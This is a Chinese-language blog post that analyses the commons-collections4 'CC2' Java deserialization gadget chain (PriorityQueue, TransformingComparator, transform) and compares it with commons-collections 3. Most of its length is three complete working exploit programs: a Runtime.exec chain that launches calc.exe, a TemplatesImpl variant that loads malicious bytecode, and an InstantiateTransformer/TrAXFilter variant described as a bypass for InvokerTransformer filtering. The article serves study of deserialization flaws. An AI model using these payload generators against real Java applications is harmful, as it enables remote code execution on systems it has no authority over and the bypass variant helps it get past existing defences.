浅谈commons-collections4链

commons-collections4的背景:

由于commons-collections (3.x) 在架构设计和 API 上暴露出一些问题(例如接口设计不够清晰、某些实现不够高效或灵活)。然而,修复这些问题需要进行大量不兼容的改动。官方认识到,进行必要的架构改进会导致新版本 无法与老版本 (3.x) 保持二进制或源代码兼容。强行作为 3.x 的直接升级版 (commons-collections 4.0) 发布,会破坏无数依赖老版本 API 的现有项目。因此将包含重大改进但不兼容的版本作为一个全新的项目分支发布,而不是作为老项目的延续;

也就是说commons-collections4版本不是commons-collections3版本的升级,而是作为新的项目发布

因此

在这个区别上存在两个分支版本commons-collections

commons-collections:commons-collections
org.apache.commons:commons-collections4

那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?

事实上,commons-collections4和commons-collections3 内涵其实是差不多的,只是用法上存在差异与存在一些不一样的类;

比如说同样是cc6;在commons-collections4

我们在引入commons-collections4的包后发现

LazyMap.decorate报错;在之前的decorate中他的作用是返回一个LazyMap对象

我们查看LazyMap源码发现

他从之前的decorate返回对象变成了LazyMap返回对象了;

但他的其他调用链却没有什么太大的变化

我们尝试把decorate改成LazyMap,发现仍然可以正常弹出计算器;

在cc1,cc3都可以兼容在commons collections4使用

那这有什么意义呢

反序列化的核心在于transform函数的invoke反射调用;导致的任意代码执行;commons-collections3和commons-collections4不都是一样的吗?

我认为应该这样想多一个版本不就多几条链了吗,可以看到在代码有些部分虽然有些细微差别,但源码大多一致,有时候可以达到兼容的效果;组合起来不就又多几条链了吗;

下面我来介绍一下ysoserial中的cc2和cc4中的PriorityQueue利⽤链

PriorityQueue(优先队列)是 Java 集合框架中的一种特殊队列实现,基于优先级堆(通常是最小堆)实现。其核心特点是:

  • 元素按优先级排序出队(默认自然顺序)
  • 不是先进先出(FIFO),而是按优先级高低出队
  • 底层使用数组存储二叉堆结构

既然同为cc链系列,他们的思路其实都是一致的,都是通过transform函数实现的任意代码执行;攻击路径都是从一个readobject触发点出发到transform函数的方法调用链;过程仍然形象化为 如下图的"拼接过程"

readobject
->...
->..
->transform

下面我们来具体分析PriorityQueue链

老规矩,还是先找transform函数

在TransformingComparator的compare方法中我们看到它调用了transform函数

public int compare(I obj1, I obj2) {
O value1 = (O)this.transformer.transform(obj1);
O value2 = (O)this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

再回到PriorityQueue的readobject方法,发现调用了heapify,持续跟进下去就会发现调用了comparator.compare方法,我们只需要让

comparator=TransformingComparator即可

readobject 调用 heapify

heapify调用 siftDown

siftDown调用siftDownUsingComparator

siftDownUsingComparator调用comparator.compare方法

所以调用链

PriorityQueue->readobject
->heapify
->siftDown
->siftDownUsingComparator
->comparator.compare
->TransformingComparator->compare
->transformer

可以看到链子中使用了siftDown()函数,作用是顶部元素向下比较交换,直到满足堆条件;⽽ comparator.compare() ⽤来⽐较两个元素⼤⼩

TransformingComparator对象(实现了 java.util.Comparator 接⼝,这个接⼝⽤于定义两个对象如何进⾏⽐较;siftDownUsingComparator() 中就使⽤这个接⼝的 compare() ⽅法⽐较树的节点。)倘若比较comparator可控;我们就可以实现传入TransformingComparator对象进行"恶意比较"

在其构造函数中我们发现传进去的comparator=this.comparator,所以只需要

 new PriorityQueue<Object>(2,new TransformingComparator(transformer)); //即可

所以构造payload

 Comparator cmp = new TransformingComparator(transformerchains);//载荷
PriorityQueue queue=new PriorityQueue(2,cmp);//触发器

payload如下

package org.com.cc;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections.keyvalue.TiedMapEntry;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.Transformer; import java.io.Serializable;
import java.lang.annotation.*;
import java.lang.reflect.Field;
import java.util.*;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
}; Transformer transformerchains = new ChainedTransformer(fakeTransformers); Comparator cmp = new TransformingComparator(transformerchains);
PriorityQueue queue=new PriorityQueue(2,cmp);
queue.add(1); //这个地方是由于需要触发排序与比较,至少要两个元素才能进行排序与比较
queue.add(2);
setFieldValue(transformerchains, "iTransformers", Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) queue);
// aesCipherService aes=new aesCipherService();
;
//反序列化
SerializationUtils.deserialize(exp); } private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
} }

结合上一篇文章我们尝试构造无数组形式的payload与绕过InvokerTransformer

无数组payload

package org.com.cc;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections.keyvalue.TiedMapEntry;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.map.TransformedMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.Transformer; import javax.xml.transform.Templates;
import java.io.Serializable;
import java.lang.annotation.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
/* Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
};*/
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("toString", null, null); Comparator cmp = new TransformingComparator(transformer);
PriorityQueue queue=new PriorityQueue(2,cmp); queue.add(obj);
queue.add(obj); setFieldValue(transformer, "iMethodName", "newTransformer");
//setFieldValue(transformerchains, "iTransformers", Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) queue);
// aesCipherService aes=new aesCipherService();
;
//反序列化
SerializationUtils.deserialize(exp); } private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
} }

增加绕过 InvokerTransformer payload

package org.com.cc;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections.keyvalue.TiedMapEntry;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.map.TransformedMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.Transformer; import javax.xml.transform.Templates;
import java.io.Serializable;
import java.lang.annotation.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
/* Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
};*/
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); // 初始化一个无害的 InstantiateTransformer,使用String.class和空字符串
Transformer transformer = new InstantiateTransformer(
new Class[]{String.class}, // 参数类型数组
new Object[]{""} // 参数值数组
); Comparator cmp = new TransformingComparator(transformer);
PriorityQueue queue=new PriorityQueue(2,cmp);
// 通过反射修改队列内部数组,直接放入两个TrAXFilter.class
Object[] queueArray = new Object[]{TrAXFilter.class, TrAXFilter.class};
setFieldValue(queue, "queue", queueArray);
setFieldValue(queue, "size", 2);
// setFieldValue(queue, "key", TrAXFilter.class);
setFieldValue(transformer, "iParamTypes", new Class[]{Templates.class});
setFieldValue(transformer, "iArgs", new Object[]{obj});
//setFieldValue(transformerchains, "iTransformers", Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) queue);
// aesCipherService aes=new aesCipherService();
;
//反序列化
SerializationUtils.deserialize(exp); } private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
} }

总结:本篇文章介绍了commons-collections4的背景以及与commons-collections3的差异与兼容性,通过cc6的commons-collections4版本的兼容性解释了cc链的核心逻辑与cc2链子的分析与构造,篇末介绍了cc2的无数组加载字节码利用方式以及拓展性的 InvokerTransformer 绕过;

------------------------------------备注------------------------------

参考 p牛->知识星球->代码审计->java系列文章

浅谈commons-collections4链的更多相关文章

  1. 小E浅谈丨区块链治理真的是一个设计问题吗?

    在2018年6月28日Zcon0论坛上,“区块链治理”这个话题掀起了大神们对未来区块链治理和区块链发展的一系列的畅想. (从左至右,分别为:Valkenburgh,Zooko,Jill, Vitali ...

  2. 浅谈javascript的原型及原型链

    浅谈javascript的原型及原型链 这里,我们列出原型的几个概念,如下: prototype属性 [[prototype]] __proto__ prototype属性 只要创建了一个函数,就会为 ...

  3. JS function 是函数也是对象, 浅谈原型链

    JS function 是函数也是对象, 浅谈原型链 JS 唯一支持的继承方式是通过原型链继承, 理解好原型链非常重要, 我记录下我的理解 1. 前言 new 出来的实例有 _proto_ 属性, 并 ...

  4. 浅谈Angular的 $q, defer, promise

    浅谈Angular的 $q, defer, promise 时间 2016-01-13 00:28:00  博客园-原创精华区 原文  http://www.cnblogs.com/big-snow/ ...

  5. 浅谈HTML5单页面架构(二)——backbone + requirejs + zepto + underscore

    本文转载自:http://www.cnblogs.com/kenkofox/p/4648472.html 上一篇<浅谈HTML5单页面架构(一)--requirejs + angular + a ...

  6. 浅谈struts2之chain

    转自:http://blog.csdn.net/randomnet/article/details/8656759 前一段时间,有关chain的机制着实困绕了许久.尽管网上有许多关于chain的解说, ...

  7. Android性能优化的浅谈

    一.概要: 本文主要以Android的渲染机制.UI优化.多线程的处理.缓存处理.电量优化以及代码规范等几方面来简述Android的性能优化 二.渲染机制的优化: 大多数用户感知到的卡顿等性能问题的最 ...

  8. 浅谈 Linux 内核无线子系统

    浅谈 Linux 内核无线子系统 本文目录 1. 全局概览 2. 模块间接口 3. 数据路径与管理路径 4. 数据包是如何被发送? 5. 谈谈管理路径 6. 数据包又是如何被接收? 7. 总结一下 L ...

  9. 浅谈JavaScript中的闭包

    浅谈JavaScript中的闭包 在JavaScript中,闭包是指这样一个函数:它有权访问另一个函数作用域中的变量. 创建一个闭包的常用的方式:在一个函数内部创建另一个函数. 比如: functio ...

  10. 浅谈算法和数据结构: 七 二叉查找树 八 平衡查找树之2-3树 九 平衡查找树之红黑树 十 平衡查找树之B树

    http://www.cnblogs.com/yangecnu/p/Introduce-Binary-Search-Tree.html 前文介绍了符号表的两种实现,无序链表和有序数组,无序链表在插入的 ...

随机推荐

  1. kubeadm init 或 join 失败 [kubelet-check] Initial timeout of 40s passed.

    前言 kubeadm 初始化或 join 时,报错: [etcd] Creating static Pod manifest for local etcd in "/etc/kubernet ...

  2. Java SE 24 新增特性

    Java SE 24 新增特性 作者:Grey 原文地址: 博客园:Java SE 24 新增特性 CSDN:Java SE 24 新增特性 源码 源仓库: Github:java_new_featu ...

  3. 使用PowerPoint优雅地更改证件照底色

    使用PowerPoint优雅地更改证件照底色 首先我们打开一张空白的演示文稿,并将要修改的证件照进行粘贴.(图片来自窝窝摄影,侵删) 选中图片,点击 格式,再点击 删除背景. 点击标记要保留的区域,对 ...

  4. [每日算法] leetcode第3题:无重复字符的最长子串

    leetcode第3题入口 题目描述 给定一个字符串 s ,请你找出其中不含有重复字符的 最长子串 的长度. 示例 1: 输入: s = "abcabcbb" 输出: 3 解法1: ...

  5. 必看!SpringAI轻松构建MCP Client-Server架构

    MCP 这个概念相信大家已经听了无数次了,但不同人会有不同的解释,你可能也是听得云里雾里的. 不过没关系,今天这篇内容会通过 Spring AI 给你实现一个 MCP 的 Client 和 Serve ...

  6. 事件监听、焦点--java进阶day03

    1.事件 按钮是组件,点击后就会重新游戏 对于这种点击了组件之后,有逻辑触发的操作,就是事件 2.事件中的专有名词 绑定监听也就是绑定监视,是真正组织代码逻辑的地方 要有绑定监听就需要监听器,今天学习 ...

  7. Redis 应用场景之短信验证码

    应用场景 以 OSChina 账号注册 为例...讲错了请留言批评指正... 逻辑场景 用户操作: 用户输入手机号, 然后点击获取验证码. 前端逻辑: ajax 发起请求, 参数带上手机号. 后端逻辑 ...

  8. 【FAQ】HarmonyOS SDK 闭源开放能力 —Push Kit(12)

    1.问题描述: pushdeviceid的长度是固定的吗? 解决方案: 在鸿蒙系统中,设备ID的长度是固定的. 2.问题描述: 通过REST API三方推送IM类消息,如何实现应用处于前台时不展示三方 ...

  9. gitlab tortoisegit puttyGen

    使用puttyGen生成公私秘钥注意: 生成后的public key有时会在gitlab识别不出,要多重新生成才行 将puttyGen框中的内容复制进gitlab就行 生成时无需设置密码 选择rsa就 ...

  10. 记一次 .NET某云HIS系统 CPU爆高分析

    一:背景 1. 讲故事 年前有位朋友找到我,说他们的系统会偶发性的CPU爆高,有时候是爆高几十秒,有时候高达一分多钟,自己有一点分析基础,但还是没找到原因,让我帮忙看下怎么回事? 二:CPU爆高分析 ...